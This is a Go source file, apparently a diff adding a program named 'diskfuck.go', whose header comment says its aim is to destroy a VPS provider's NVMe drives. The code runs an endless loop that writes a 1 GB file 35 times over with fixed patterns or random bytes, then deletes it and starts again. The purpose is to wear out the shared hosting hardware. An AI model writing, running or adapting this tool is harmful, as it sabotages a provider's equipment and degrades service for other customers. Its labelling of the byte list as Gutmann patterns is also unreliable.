diskfuck.go

diskfuck.go

@@ -0,0 +1,64 @@
+// DESTROY YOUR LOCAL VPS PROVIDERS NVMe's
+package main
+
+import (
+	"log"
+	"os"
+	"math/rand"
+)
+
+const (
+	fileName = "secure_file.dat"
+	fileSize = 1 << 30 // 1 GB
+)
+
+var gutmannPatterns = []byte{
+	0x55, 0xAA, 0x92, 0x49, 0x24, 0x00, 0xFF, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF,
+	0x92, 0x49, 0x24, 0x55, 0xAA, 0x00, 0xFF, 0x44, 0x55, 0xAA, 0x92, 0x49, 0x24, 0x00, 0xFF, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
+	0x88, 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x92, 0x49, 0x24, 0x55, 0xAA, 0x92, 0x49, 0x24, 0x00, 0xFF,
+}
+
+func createFile() *os.File {
+	f, err := os.Create(fileName)
+	if err != nil {
+		log.Fatalf("Error creating file: %v", err)
+	}
+	return f
+}
+
+func writeFile(f *os.File, data []byte) {
+	_, err := f.Write(data)
+	if err != nil {
+		log.Fatalf("Error writing to file: %v", err)
+	}
+}
+
+func main() {
+	for {
+		f := createFile()
+
+		for i := 0; i < 35; i++ {
+			if i < len(gutmannPatterns) {
+				data := make([]byte, fileSize, fileSize)
+				for j := range data {
+					data[j] = gutmannPatterns[i]
+				}
+				writeFile(f, data)
+			} else {
+				data := make([]byte, fileSize, fileSize)
+				for j := range data {
+					data[j] = byte(rand.Intn(256))
+				}
+				writeFile(f, data)
+			}
+			f.Seek(0, 0) // Reset file pointer to start
+		}
+
+		f.Close()
+
+		err := os.Remove(fileName)
+		if err != nil {
+			log.Fatalf("Error deleting file: %v", err)
+		}
+	}
+}